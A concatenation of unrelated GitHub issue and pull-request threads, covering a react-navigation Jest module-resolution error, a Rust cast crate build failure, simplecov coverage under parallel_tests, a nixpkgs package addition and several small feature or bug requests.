Cannot find module ‘./PlatformHelpers’ from ‘createNavigationContainer.js’

Trying to test my react-native app with jest and it's throwing
Cannot find module ‘./PlatformHelpers’ from ‘createNavigationContainer.js’
For some reason the fix at #256 doesn't work for me.
"jest": {
    "preset": "react-native",
    "collectCoverageFrom": [
      "**/*.{js,jsx}",
      "!**/loggerMiddleware.js",
      "!**/index.android.js",
      "!**/node_modules/**",
      "!**/android/**",
      "!**/ios/**",
      "!**/index.ios.js",
      "!**/AppRouter.js",
      "!**/snapshot.js",
      "!**/coverage/**",
      "!**/AppView.js",
      "!**/vendor/**",
      "!**/config/**",
      "!**/data/**",
      "!**/test/**"
    ],
    "haste": {
      "defaultPlatform": "ios",
      "platforms": [
        "android",
        "ios"
      ],
      "providesModuleNodeModules": [
        "react-native"
      ]
    },
    "globals": {
      "__TEST__": true
    },
    "moduleNameMapper": {
      "^image![a-zA-Z0-9$_-]+$": "GlobalImageStub",
      "^[@./a-zA-Z0-9$_-]+\\.(png|gif)$": "RelativeImageStub",
      "^React$": "<rootDir>node_modules/react",
      "\\./datepicker$": "<rootDir>/node_modules/tcomb-form-native/lib/templates/bootstrap/datepicker.ios.js",
      "\\./select$": "<rootDir>/node_modules/tcomb-form-native/lib/templates/bootstrap/select.ios.js"
    },
    "modulePathIgnorePatterns": [
      "<rootDir>/node_modules/react-native/Libraries/react-native/",
      "<rootDir>/node_modules/react-native/packager/",
      "<rootDir>/node_modules/react-native-intercom/*",
      "<rootDir>/node_modules/react-native-fabric/",
      "<rootDir>/node_modules/apollo-client/"
    ],
    "transformIgnorePatterns": [
      "node_modules/(?!(jest-)?react-native|tcomb-form-native|react-clone-referenced-element|apollo-client|react-navigation)"
    ],
    "setupFiles": [
      "<rootDir>/node_modules/react-native/jest/setup.js",
      "./jest-setup.js"
    ],
    "testEnvironment": "node",
    "testResultsProcessor": "./node_modules/jest-junit",
    "collectCoverage": true,
    "verbose": true
  },

Keeps throwing Cannot find module ‘./PlatformHelpers’ from ‘createNavigationContainer.js’
Dependencies
"dependencies": {
    "apollo-client": "^1.9.0",
    "art": "^0.10.1",
    "babel-cli": "~6.6.5",
    "bluebird": "^3.3.5",
    "crypto-js": "^3.1.9-1",
    "d3": "^4.10.0",
    "d3-shape": "^1.0.6",
    "es6-symbol": "^3.1.0",
    "event-emitter": "^0.3.4",
    "graphql": "^0.6.2",
    "graphql-tag": "^1.3.1",
    "immutable": "^3.7.6",
    "lodash": "^4.11.0",
    "moment": "^2.16.0",
    "parse": "~1.8.2",
    "react": "^16.0.0-alpha.12",
    "react-apollo": "^1.4.5",
    "react-dom": "^16.0.0-alpha.12",
    "react-native": "0.45.1",
    "react-native-action-button": "github:octohedron/react-native-action-button#de061b0700867133e3b1c995022d2eac279214fa",
    "react-native-code-push": "2.1.0-beta",
    "react-native-datepicker": "^1.4.2",
    "react-native-fabric": "^0.4.1",
    "react-native-intercom": "^6.2.0",
    "react-native-keyboard-aware-scrollview": "^1.1.7",
    "react-native-keyboard-spacer": "^0.3.0",
    "react-native-modal-picker": "github:octohedron/react-native-modal-picker#174997eb5b58841d58b0550e795ab9f70e3bba4d",
    "react-native-scrollable-tab-view": "^0.7.4",
    "react-navigation": "^1.0.0-beta.12",
    "react-redux": "^5.0.5",
    "react-timer-mixin": "~0.13.3",
    "redux": "^3.7.1",
    "redux-logger": "^3.0.6",
    "redux-loop": "^2.2.2",
    "redux-persist": "^1.5.6",
    "redux-promise": "^0.5.3",
    "redux-thunk": "^2.2.0",
    "tcomb-form-native": "^0.6.6"
  },
  "devDependencies": {
    "apollo-test-utils": "0.3.2",
    "babel-core": "^6.9.0",
    "babel-eslint": "^6.0.2",
    "babel-jest": "19.0.0",
    "babel-polyfill": "^6.9.0",
    "babel-preset-react-native": "1.9.1",
    "babel-register": "^6.9.0",
    "buffer": "^5.0.2",
    "chai": "^3.5.0",
    "chokidar-cli": "^1.2.0",
    "deep-eql": "^2.0.1",
    "enzyme": "^2.9.1",
    "eslint": "^3.17.0",
    "eslint-plugin-babel": "^3.2.0",
    "eslint-plugin-react": "^4.3.0",
    "install": "^0.8.4",
    "jest": "^20.0.4",
    "jest-junit": "^1.0.4",
    "mocha": "^2.4.5",
    "npm": "^4.0.5",
    "redux-mock-store": "^1.2.1",
    "rimraf": "^2.5.2",
    "sinon": "^1.17.4"
  },

$ node -v
v 8.1.4
$ npm -v
5.0.3

I went to the node_modules/react-navigation folder and renamed PlatformHelpers.native.js to PlatformHelpers.js and it fixed it, is this fixed somewhere else and I missed it? Otherwise I'll just fork the repo and add the file.

Would you be able to put together a demo of this problem to aid in debugging? Thanks!

Unfortunately, I don't have time at the moment, I will just fork it and add the file myself, can't afford having to rename the file every time I need to re-install the module.

Same problem here. As @octohedron , have to rename file
Created a quick script in my package.json file to rename it:
"fix-react-navigation-web": "mv ./node_modules/react-navigation/lib/PlatformHelpers.native.js ./node_modules/react-navigation/lib/PlatformHelpers.js"

Pinging OP @octohedron since this issue has not been active for a while, and it's related to an old version of the lib.
Please let me know if you want this to remain open; if I get no answer in the next 7 days I will close it.

@kelset this error occurs to me on every jest test (even if the test doesn't reference any react-native component). Using react-navigation 1.0.0-beta.21 and react-native 0.49.5
Cannot find module './PlatformHelpers' from 'createNavigationContainer.js'

      at Resolver.resolveModule (node_modules/jest-resolve/build/index.js:191:17)
      at Object.<anonymous> (node_modules/react-navigation/src/createNavigationContainer.js:40:119)

package.json
"jest": {
		"haste": {
			"defaultPlatform": "android",
			"platforms": [
				"ios",
				"android"
			],
			"providesModuleNodeModules": [
				"react-native"
			]
		},
		"preset": "react-native",
		"transformIgnorePatterns": [
			"node_modules/(realm)/"
		],
		"snapshotSerializers": [
			"enzyme-to-json/serializer"
		],
		"setupTestFrameworkScriptFile": "./test/setupJest.js",
		"moduleDirectories": [
			"node_modules"
		],
		"transform": {
			"^.+\\.jsx?$": "babel-jest"
		},
		"unmockedModulePathPatterns": [
			"promise",
			"source-map"
		]
	},

setupJest.js
import React from 'react';
import FormData from 'react-native/Libraries/Network/FormData';

global.FormData = FormData;

jest.mock('react-native-progress', () => 'RnProgress');
jest.mock('react-native-fs', () => 'RnFS');
jest.mock('react-native-scrollable-tab-view', () => 'RNScrollableTabView');
jest.mock('react-native-cookies', () => 'RNCookieManagerIOS');
jest.mock('react-native-fetch-blob', () => ({
	DocumentDir: () => {},
	polyfill: () => {}
}));

Add below lines to your .flowconfig options section.
module.file_ext=.web.js
module.file_ext=.native.js

This works for my env.

this should be resolved. if it is not working as expected still on the latest version, please create a new issue with a runnable example on https://snack.expo.io -- thanks!


[BUG] - Issue with updated version

Describe the bug
On loading of the <IP_ADDRESS>79, with the updated 3.0.0 version, getting an error.
(See Screenshot for error message)
To Reproduce
On load of the game, using r2modman, to launch as modified.
Have only BepInEx, DSPModSave currently enabled.
Error shows on login screen.
Expected behavior
No Error messages.
Log files
Please upload log file from BepInEx folder to help solve issue
(not sure where grab the log from)
Screenshots
If applicable, add screenshots to help explain your problem.

Additional context
Game updated overnight.  Did download the update when it was offered in r2modman.

Has been advised that mod installed is lying about version or game files corrupt.
Tried unstalling mod and had no change.  Proceeding with game reinstall

confirmed mod files deleted when uninstalled.
Confirmed mod redownloaded correctly.
Rebooted my PC (Had a windows update pending)
Checked log, and LDBTool 2.0.6 was being loaded.
Manually downloaded from https://dsp.thunderstore.io/package/xiaoye97/LDBTool/3.0.0/ and replaced files manually
Found packaged version is incorrect.

Should be fixed with 3.0.1


Disable a display

I love the option to quickly switch my display configuration, this tool is great. What I am also looking for is the ability to fully disable a particular display altogether. I think it’s not supported in this tool, but I wanted to make sure I didn’t miss it. Thank you!

Can you manually turn a display off in System Preferences? I don’t see an option for this, and there doesn’t seem to be anything in the API, so I believe that might not be possible to do on macOS.

No, I can’t do it in System Preferences, it’s annoying. Oh well, thanks for taking a look!


cast 0.2.4 fails on i686-unknown-linux-gnu

Compiling cast 0.2.4 on i686-unknown-linux-gnu target fails to compile. 0.2.3 works fine.
Log:
error[E0432]: unresolved import `Error`
   --> /home/ubuntu/.cargo/registry/src/github.com-1ecc6299db9ec823/cast-0.2.4/src/lib.rs:361:10
    |
361 |     use {Error, From};
    |          ^^^^^ no external crate `Error`

error[E0437]: type `Output` is not a member of trait `From`
   --> /home/ubuntu/.cargo/registry/src/github.com-1ecc6299db9ec823/cast-0.2.4/src/lib.rs:192:21
    |
192 |                       type Output = $dst;
    |                       ^^^^^^^^^^^^^^^^^^^ not a member of trait `From`
...
364 | /     promotion! {
365 | |         i8    => f32, f64, i8, i16, i32, isize, i64;
366 | |         i16   => f32, f64,     i16, i32, isize, i64;
367 | |         i32   => f32, f64,          i32, isize, i64;
368 | |         isize => f32, f64,          i32, isize, i64;
369 | |         i64   => f32, f64,                      i64;
370 | |     }
    | |_____- in this macro invocation
    |
    = note: this error originates in a macro (in Nightly builds, run with -Z macro-backtrace for more info)

error[E0407]: method `cast` is not a member of trait `From`
   --> /home/ubuntu/.cargo/registry/src/github.com-1ecc6299db9ec823/cast-0.2.4/src/lib.rs:195:21
    |
195 | /                     fn cast(src: $src) -> $dst {
196 | |                         src as $dst
197 | |                     }
    | |_____________________^ not a member of trait `From`
...
364 | /     promotion! {
365 | |         i8    => f32, f64, i8, i16, i32, isize, i64;
366 | |         i16   => f32, f64,     i16, i32, isize, i64;
367 | |         i32   => f32, f64,          i32, isize, i64;
368 | |         isize => f32, f64,          i32, isize, i64;
369 | |         i64   => f32, f64,                      i64;
370 | |     }
    | |_____- in this macro invocation
    |
    = note: this error originates in a macro (in Nightly builds, run with -Z macro-backtrace for more info)

error[E0437]: type `Output` is not a member of trait `From`
   --> /home/ubuntu/.cargo/registry/src/github.com-1ecc6299db9ec823/cast-0.2.4/src/lib.rs:210:21
    |
210 |                       type Output = Result<$dst, Error>;
    |                       ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ not a member of trait `From`
...
372 | /     half_promotion! {
373 | |         i8    =>                                     u8, u16, u32, usize, u64;
374 | |         i16   =>                                         u16, u32, usize, u64;
375 | |         i32   =>                                              u32, usize, u64;
376 | |         isize =>                                              u32, usize, u64;
377 | |         i64   =>                                                          u64;
378 | |     }
    | |_____- in this macro invocation
    |
    = note: this error originates in a macro (in Nightly builds, run with -Z macro-backtrace for more info)

error[E0407]: method `cast` is not a member of trait `From`
   --> /home/ubuntu/.cargo/registry/src/github.com-1ecc6299db9ec823/cast-0.2.4/src/lib.rs:213:21
    |
213 | /                     fn cast(src: $src) -> Self::Output {
214 | |                         if src < 0 {
215 | |                             Err(Error::Underflow)
216 | |                         } else {
217 | |                             Ok(src as $dst)
218 | |                         }
219 | |                     }
    | |_____________________^ not a member of trait `From`
...
372 | /     half_promotion! {
373 | |         i8    =>                                     u8, u16, u32, usize, u64;
374 | |         i16   =>                                         u16, u32, usize, u64;
375 | |         i32   =>                                              u32, usize, u64;
376 | |         isize =>                                              u32, usize, u64;
377 | |         i64   =>                                                          u64;
378 | |     }
    | |_____- in this macro invocation
    |
    = note: this error originates in a macro (in Nightly builds, run with -Z macro-backtrace for more info)

error[E0437]: type `Output` is not a member of trait `From`
   --> /home/ubuntu/.cargo/registry/src/github.com-1ecc6299db9ec823/cast-0.2.4/src/lib.rs:256:21
    |
256 |                       type Output = Result<$dst, Error>;
    |                       ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ not a member of trait `From`
...
380 | /     from_signed! {
381 | |
382 | |         i16   =>           i8,                       u8;
383 | |         i32   =>           i8, i16,                  u8, u16;
384 | |         isize =>           i8, i16,                  u8, u16;
385 | |         i64   =>           i8, i16, i32, isize,      u8, u16, u32, usize;
386 | |     }
    | |_____- in this macro invocation
    |
    = note: this error originates in a macro (in Nightly builds, run with -Z macro-backtrace for more info)

error[E0407]: method `cast` is not a member of trait `From`
   --> /home/ubuntu/.cargo/registry/src/github.com-1ecc6299db9ec823/cast-0.2.4/src/lib.rs:259:21
    |
259 | /                     fn cast(src: $src) -> Self::Output {
260 | |                         use core::$dst;
261 | |
262 | |                         Err(if src < $dst::MIN as $src {
...   |
268 | |                         })
269 | |                     }
    | |_____________________^ not a member of trait `From`
...
380 | /     from_signed! {
381 | |
382 | |         i16   =>           i8,                       u8;
383 | |         i32   =>           i8, i16,                  u8, u16;
384 | |         isize =>           i8, i16,                  u8, u16;
385 | |         i64   =>           i8, i16, i32, isize,      u8, u16, u32, usize;
386 | |     }
    | |_____- in this macro invocation
    |
    = note: this error originates in a macro (in Nightly builds, run with -Z macro-backtrace for more info)

error[E0437]: type `Output` is not a member of trait `From`
   --> /home/ubuntu/.cargo/registry/src/github.com-1ecc6299db9ec823/cast-0.2.4/src/lib.rs:192:21
    |
192 |                       type Output = $dst;
    |                       ^^^^^^^^^^^^^^^^^^^ not a member of trait `From`
...
389 | /     promotion! {
390 | |         u8    => f32, f64,     i16, i32, isize, i64, u8, u16, u32, usize, u64;
391 | |         u16   => f32, f64,          i32, isize, i64,     u16, u32, usize, u64;
392 | |         u32   => f32, f64,                      i64,          u32, usize, u64;
393 | |         usize => f32, f64,                      i64,          u32, usize, u64;
394 | |         u64   => f32, f64,                                                u64;
395 | |     }
    | |_____- in this macro invocation
    |
    = note: this error originates in a macro (in Nightly builds, run with -Z macro-backtrace for more info)

error[E0407]: method `cast` is not a member of trait `From`
   --> /home/ubuntu/.cargo/registry/src/github.com-1ecc6299db9ec823/cast-0.2.4/src/lib.rs:195:21
    |
195 | /                     fn cast(src: $src) -> $dst {
196 | |                         src as $dst
197 | |                     }
    | |_____________________^ not a member of trait `From`
...
389 | /     promotion! {
390 | |         u8    => f32, f64,     i16, i32, isize, i64, u8, u16, u32, usize, u64;
391 | |         u16   => f32, f64,          i32, isize, i64,     u16, u32, usize, u64;
392 | |         u32   => f32, f64,                      i64,          u32, usize, u64;
393 | |         usize => f32, f64,                      i64,          u32, usize, u64;
394 | |         u64   => f32, f64,                                                u64;
395 | |     }
    | |_____- in this macro invocation
    |
    = note: this error originates in a macro (in Nightly builds, run with -Z macro-backtrace for more info)

error[E0437]: type `Output` is not a member of trait `From`
   --> /home/ubuntu/.cargo/registry/src/github.com-1ecc6299db9ec823/cast-0.2.4/src/lib.rs:232:21
    |
232 |                       type Output = Result<$dst, Error>;
    |                       ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ not a member of trait `From`
...
397 | /     from_unsigned! {
398 | |         u8    =>           i8;
399 | |         u16   =>           i8, i16,                  u8;
400 | |         u32   =>           i8, i16, i32, isize,      u8, u16;
401 | |         usize =>           i8, i16, i32, isize,      u8, u16;
402 | |         u64   =>           i8, i16, i32, isize, i64, u8, u16, u32, usize;
403 | |     }
    | |_____- in this macro invocation
    |
    = note: this error originates in a macro (in Nightly builds, run with -Z macro-backtrace for more info)

error[E0407]: method `cast` is not a member of trait `From`
   --> /home/ubuntu/.cargo/registry/src/github.com-1ecc6299db9ec823/cast-0.2.4/src/lib.rs:235:21
    |
235 | /                     fn cast(src: $src) -> Self::Output {
236 | |                         use core::$dst;
237 | |
238 | |                         if src > $dst::MAX as $src {
...   |
242 | |                         }
243 | |                     }
    | |_____________________^ not a member of trait `From`
...
397 | /     from_unsigned! {
398 | |         u8    =>           i8;
399 | |         u16   =>           i8, i16,                  u8;
400 | |         u32   =>           i8, i16, i32, isize,      u8, u16;
401 | |         usize =>           i8, i16, i32, isize,      u8, u16;
402 | |         u64   =>           i8, i16, i32, isize, i64, u8, u16, u32, usize;
403 | |     }
    | |_____- in this macro invocation
    |
    = note: this error originates in a macro (in Nightly builds, run with -Z macro-backtrace for more info)

error[E0437]: type `Output` is not a member of trait `From`
   --> /home/ubuntu/.cargo/registry/src/github.com-1ecc6299db9ec823/cast-0.2.4/src/lib.rs:192:21
    |
192 |                       type Output = $dst;
    |                       ^^^^^^^^^^^^^^^^^^^ not a member of trait `From`
...
406 | /     promotion! {
407 | |         f32   => f32, f64;
408 | |         f64   =>      f64;
409 | |     }
    | |_____- in this macro invocation
    |
    = note: this error originates in a macro (in Nightly builds, run with -Z macro-backtrace for more info)

error[E0407]: method `cast` is not a member of trait `From`
   --> /home/ubuntu/.cargo/registry/src/github.com-1ecc6299db9ec823/cast-0.2.4/src/lib.rs:195:21
    |
195 | /                     fn cast(src: $src) -> $dst {
196 | |                         src as $dst
197 | |                     }
    | |_____________________^ not a member of trait `From`
...
406 | /     promotion! {
407 | |         f32   => f32, f64;
408 | |         f64   =>      f64;
409 | |     }
    | |_____- in this macro invocation
    |
    = note: this error originates in a macro (in Nightly builds, run with -Z macro-backtrace for more info)

error[E0437]: type `Output` is not a member of trait `From`
   --> /home/ubuntu/.cargo/registry/src/github.com-1ecc6299db9ec823/cast-0.2.4/src/lib.rs:282:21
    |
282 |                       type Output = Result<$dst, Error>;
    |                       ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ not a member of trait `From`
...
411 | /     from_float! {
412 | |         f32, u32 =>        i8, i16, i32, isize, i64, u8, u16, u32, usize, u64;
413 | |         f64, u64 =>        i8, i16, i32, isize, i64, u8, u16, u32, usize, u64;
414 | |     }
    | |_____- in this macro invocation
    |
    = note: this error originates in a macro (in Nightly builds, run with -Z macro-backtrace for more info)

error[E0407]: method `cast` is not a member of trait `From`
   --> /home/ubuntu/.cargo/registry/src/github.com-1ecc6299db9ec823/cast-0.2.4/src/lib.rs:285:21
    |
285 | /                     fn cast(src: $src) -> Self::Output {
286 | |                         use core::{$dst, $src};
287 | |
288 | |                         Err(if src != src {
...   |
317 | |                         })
318 | |                     }
    | |_____________________^ not a member of trait `From`
...
411 | /     from_float! {
412 | |         f32, u32 =>        i8, i16, i32, isize, i64, u8, u16, u32, usize, u64;
413 | |         f64, u64 =>        i8, i16, i32, isize, i64, u8, u16, u32, usize, u64;
414 | |     }
    | |_____- in this macro invocation
    |
    = note: this error originates in a macro (in Nightly builds, run with -Z macro-backtrace for more info)

error[E0220]: associated type `Output` not found for `Self`
   --> /home/ubuntu/.cargo/registry/src/github.com-1ecc6299db9ec823/cast-0.2.4/src/lib.rs:213:49
    |
213 |                       fn cast(src: $src) -> Self::Output {
    |                                                   ^^^^^^ associated type `Output` not found
...
372 | /     half_promotion! {
373 | |         i8    =>                                     u8, u16, u32, usize, u64;
374 | |         i16   =>                                         u16, u32, usize, u64;
375 | |         i32   =>                                              u32, usize, u64;
376 | |         isize =>                                              u32, usize, u64;
377 | |         i64   =>                                                          u64;
378 | |     }
    | |_____- in this macro invocation
    |
    = note: this error originates in a macro (in Nightly builds, run with -Z macro-backtrace for more info)

error[E0220]: associated type `Output` not found for `Self`
   --> /home/ubuntu/.cargo/registry/src/github.com-1ecc6299db9ec823/cast-0.2.4/src/lib.rs:259:49
    |
259 |                       fn cast(src: $src) -> Self::Output {
    |                                                   ^^^^^^ associated type `Output` not found
...
380 | /     from_signed! {
381 | |
382 | |         i16   =>           i8,                       u8;
383 | |         i32   =>           i8, i16,                  u8, u16;
384 | |         isize =>           i8, i16,                  u8, u16;
385 | |         i64   =>           i8, i16, i32, isize,      u8, u16, u32, usize;
386 | |     }
    | |_____- in this macro invocation
    |
    = note: this error originates in a macro (in Nightly builds, run with -Z macro-backtrace for more info)

error[E0220]: associated type `Output` not found for `Self`
   --> /home/ubuntu/.cargo/registry/src/github.com-1ecc6299db9ec823/cast-0.2.4/src/lib.rs:235:49
    |
235 |                       fn cast(src: $src) -> Self::Output {
    |                                                   ^^^^^^ associated type `Output` not found
...
397 | /     from_unsigned! {
398 | |         u8    =>           i8;
399 | |         u16   =>           i8, i16,                  u8;
400 | |         u32   =>           i8, i16, i32, isize,      u8, u16;
401 | |         usize =>           i8, i16, i32, isize,      u8, u16;
402 | |         u64   =>           i8, i16, i32, isize, i64, u8, u16, u32, usize;
403 | |     }
    | |_____- in this macro invocation
    |
    = note: this error originates in a macro (in Nightly builds, run with -Z macro-backtrace for more info)

error[E0220]: associated type `Output` not found for `Self`
   --> /home/ubuntu/.cargo/registry/src/github.com-1ecc6299db9ec823/cast-0.2.4/src/lib.rs:285:49
    |
285 |                       fn cast(src: $src) -> Self::Output {
    |                                                   ^^^^^^ associated type `Output` not found
...
411 | /     from_float! {
412 | |         f32, u32 =>        i8, i16, i32, isize, i64, u8, u16, u32, usize, u64;
413 | |         f64, u64 =>        i8, i16, i32, isize, i64, u8, u16, u32, usize, u64;
414 | |     }
    | |_____- in this macro invocation
    |
    = note: this error originates in a macro (in Nightly builds, run with -Z macro-backtrace for more info)

Suddenly I have the same issue with 0.2.2 which is required by stm32f4xx-hal

Same.

Workarounds:
https://github.com/rust-embedded/discovery/issues/319#issuecomment-817435641
https://github.com/japaric/cast.rs/pull/27#issuecomment-817707582
Pull request for this issue - https://github.com/japaric/cast.rs/pull/27

This also effects armhf builds on the Raspberry Pi

v0.2.5 includes PR #27 . v0.2.4 has been yanked.


Add Xyce at version 7.4

Motivation for this change
Added the analog circuit simulator Xyce previously not present in nixpkgs.
Things done
I've not rebased on master for the following reason: I've started from the nixos-21.11 commit to avoid having to rebuild a lot of packages. When I try to rebase on top of master I get many conflicts unrelated to my modifications that I'm unable to fix.
My contribution consists in the last 3 commits in this branch:

added myself as a contributor
added trilinos, a depencency not previously available
added Xyce

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[x] Tested basic functionality of all binary files (usually in ./result/bin/)
22.05 Release Notes (or backporting 21.11 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module
[ ] (Release notes changes) Ran nixos/doc/manual/md-to-db.sh to update generated release notes

[x] Fits CONTRIBUTING.md.

Hi! :wave: Welcome to the NixOS community!
You need to work on the branch you're targeting, in this case master. As you've noticed, rebasing on master from a stable branch won't work, since they differ too much. Instead, cherry-pick your commits from the stable branch to master. Also, you can work on the nixos-unstable branch instead of stable if you want to avoid builds - then you can actually rebase on master when you're done.

Hi @talyz, thanks for your comment. I'm not familiar with the flow... should I close/delete this PR and prepare another one?

You can decide how you want to do it. If you keep this one open, just force push to your branch to update it when you've fixed it.


Add a license

This is the same 3-clause BSD license used by https://github.com/mokus0/monad-loops.
We'd like to use this bundle for highlighting Agda code on github.com using the new syntax highlighter we've been developing. Would you be willing to add a license? Thanks!

No worries, and thank you!


fix(community-index): 1800-avt1-community-index-downshift-label

Closes #1800

Fixes Downshift accessibility violation by adding a textTitle prop to the Dropdown component in Component Index.

TESTING:

[ ] Run Accessibility Checker and make sure the above violation (as seen in #1800) does not appear.
Preview link: https://carbondesignsy-git-fork-andreancardona-1800-avt1-communi-340aec.carbon-design-system.now.sh/community/component-index

It looks good! But can we had a hover background to the closed state? Color: $hover-ui

updated the hover! @aagonzales


Add checkbox to agree to CoC when first log in

If possible to do before December 3rd.

@halmos and I spent some time to discuss that and we think that the best approach is to render a modal with the CoC to the user the first time he/she logs in. Flow would be:

user visit /login
user is redirected to ORCID to enter credentials
user is redirected from ORCID back to rapid (/setting page) and at that point we render the modal.

The modal would be titled smtg like: "Welcome, to continue you need to first accept the CoC" and will block the user to do anything until a "I agree" button is clicked.


simplecov inaccurate number of relevant lines when using parallel_tests

I am still getting very inaccurate rspec coverage when using parallel_tests vs single process rspec.
89% coverage with parallel_tests vs 67% with single process rspec.
Looking at the simplecov-html output many lines are dismissed as irrelevant and skipped.
For example with single process rspec a file has 150 lines 130 being relevant and 50 being missed whereas with parallel_tests the file has only 8 lines being relevant and 0 being missed for 100% coverage which is wrong.
Is there some trick to getting the results merged properly? I am using
config.before(:each) do
    SimpleCov.command_name "RSpec:#{Process.pid.to_s}#{ENV['TEST_ENV_NUMBER']}"
end

in my spec/spec_helper.rb
Here's the gems and version info
using parallel_tests (2.11.0)
rspec-core (3.5.4)
      rspec-support (~> 3.5.0)
    rspec-expectations (3.5.0)
      diff-lcs (>= 1.2.0, < 2.0)
      rspec-support (~> 3.5.0)
    rspec-mocks (3.5.0)
      diff-lcs (>= 1.2.0, < 2.0)
      rspec-support (~> 3.5.0)
    rspec-rails (3.5.2)
      actionpack (>= 3.0)
      activesupport (>= 3.0)
      railties (>= 3.0)
      rspec-core (~> 3.5.0)
      rspec-expectations (~> 3.5.0)
      rspec-mocks (~> 3.5.0)
      rspec-support (~> 3.5.0)
    rspec-support (3.5.0)

Generated by simplecov v0.12.0 and simplecov-html v0.10.0
using RSpec:23611, RSpec:236144, RSpec:236163, RSpec:236202

Thanks,
Matt
edit: edited for code readability! @Pragtob

Hi there,
thanks for your issue report.
I'm not quite sure and it's difficult to say from a distance.
In general it seems weird that more lines would be skipped with parallel_tests - the behaviour there should be consistent. Personally I've only seen cases where single process rspec reported more coverage than multiprocess (with command_name not set etc.)
From your setup, what I can say looks odd to me is setting the command_name in a before :each - we set it in the spec_helper and we set it once as it shouldn't change (I think we do so right in our Simplecov setup).
Also you shouldn't need the Pid of the rspec process as that should always be the same for one TEST_ENV_NUMBER - otherwise thinks loog good, it also seems to have used results from all 4 processes.
Are you sure that simplecov is started BEFORE everything else?

Likely related to #559 , because if a semaphore is not used correctly, any result is possible.

I'd have to review the code but I don't think there's a semaphore/mutex whatever in there since we run in separate processes not in different threads. Might still be a race condition though.

As I explained in #559 , it looks like in archeology of SimpleCov, a Multi-threading Lock pattern existed in a previous PR #185 commit https://github.com/colszowka/simplecov/pull/185/commits/4f3b4c71c30da856380369ccc8e85261d3e85d56 that got lost to entropy. It probably needs to be brought back.
You can't have multiple processes merging results into the same result-set and not have some kind of a lock to protect them from corrupting the shared state.

I've tried every lock-variation of SimpleCov: 0.8.0 to 0.8.2 - none of them work on a Mac environment.

That lock was brought back in a recent PR and will be released soon --> should be good once we release a enw version/can try from master


Media keys

Describe the bug
When I use media keys (pause, fast forward, rewind), they don't do anything.
To Reproduce
Steps to reproduce the behavior:

Open Nora.
(For most keyboards) Hold FN key and press the F key with a pause symbol on it.

Expected behavior
For the song to pause.
System Information:

OS: Windows 11
Affected App Version: 2.0.0

The media keys work for me.
I do, however, use a full-sized keyboard, not a laptop one, so I don't need to hold the Fn key.
I'd think this doesn't make a difference, but it could be possible

@LandStander27 Does this happen when the app is focused or not?

@LandStander27 Does this happen when the app is focused or not?

It happened both ways.

Just tried it today and it seems to be working for some reason, sorry for wasting your time.


Enable inline editing and row selection

Hi, I have setup DataTables end Editor correctly; I can see the rows and a "new" button, that opens the editor to save a new record.
I can see also an "Edit" button, that is disabled.
How I can enable a row selection (that enable the Edit button) and the inline editor with a Laravel controller?
Thanks

Hi Guys, I‘ve been looking for the solution you were talking about in this post. However, I am not able to access $editor variable in blade view. I got a message that $editor doesn’t exist.
Any help appreciated.
Michal


Dependency arrow/orc not installed by brew on macOS

Describe the bug, including details regarding any error messages, version, and platform.
It seems we have recognized this problem as shown in the cpp/README.md.

Note: Currently, the Arrow C++ library is disable ARROW_ORC in the brew formula, so you need to install the Arrow C++ library manually.

However, the given solution seems does not fix the problem.
Since in the cpp/Brewfile, it still just simply install apache-arrow
Component(s)
C++, Developer Tools

We suppose to fix that by #545 #546


improve package.json author section

https://docs.npmjs.com/cli/v8/configuring-npm/package-json#people-fields-author-contributors

https://github.com/MyPrivateRepositories/guide-open-source/pull/47


Use GitHub Actions

Closes: #82
I understand that you plan to move the contents of this repository to the main repository, but probably these changes will be reusable even if you move them to the main repository. CI is faster than before because the installation and execution of ShellCheck, shfmt, and PSScriptAnalyzer are completely separate from the test scripts and run in parallel.

Ok I will use it- thanks. Clean up and landing it in #84


fix#1758 baiji-group=264-3

Ⅰ. Describe what this PR did
Add unit-test for getUnknownFlags method which locate on daemon/config/config.go.
Ⅱ. Does this pull request fix one issue?

Ⅲ. Describe how you did it
Ⅳ. Describe how to verify it
Ⅴ. Special notes for reviews

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you all sign our Contributor License Agreement before we can accept your contribution.0 out of 2 committers have signed the CLA.:x: juying.lh:x: yannanyuejuying.lh seems not to be a GitHub user. You need a GitHub account to be able to sign the CLA. If you have already a GitHub account, please add the email address used for this commit to your account.You have signed the CLA already but the status is still pending? Let us recheck it.

Codecov Report

Merging #1792 into master will decrease coverage by 6.2%.
The diff coverage is n/a.

@@            Coverage Diff            @@
##           master   #1792      +/-   ##
=========================================
- Coverage    56.3%   50.1%   -6.21%
=========================================
  Files         200     284      +84
  Lines       15657   18576    +2919
=========================================
+ Hits         8816    9307     +491
- Misses       5745    8147    +2402
- Partials     1096    1122      +26

Flag
Coverage Δ

#critest
33.47% <ø> (-0.01%)
:arrow_down:

#integrationtest
37.69% <ø> (+0.03%)
:arrow_up:

#unittest
20.4% <ø> (+0.06%)
:arrow_up:

Impacted Files
Coverage Δ

cri/stream/runtime.go
71.01% <0%> (ø)
:arrow_up:

client/image_inspect.go
100% <0%> (ø)

cli/rmi.go
0% <0%> (ø)

client/network_connect.go
100% <0%> (ø)

cli/image_list.go
0% <0%> (ø)

cli/pull.go
0% <0%> (ø)

cli/start.go
0% <0%> (ø)

client/volume_inspect.go
100% <0%> (ø)

client/container_remove.go
81.81% <0%> (ø)

client/container_update.go
100% <0%> (ø)

... and 79 more


Multi-Launchpad/Midi Device Support

If you could provide support for more than one launchpad/midi device at a time, that would be a big bonus!
and if you could do that with PlayShare enabled like requested here: https://github.com/Vexcited/lpadder/issues/6
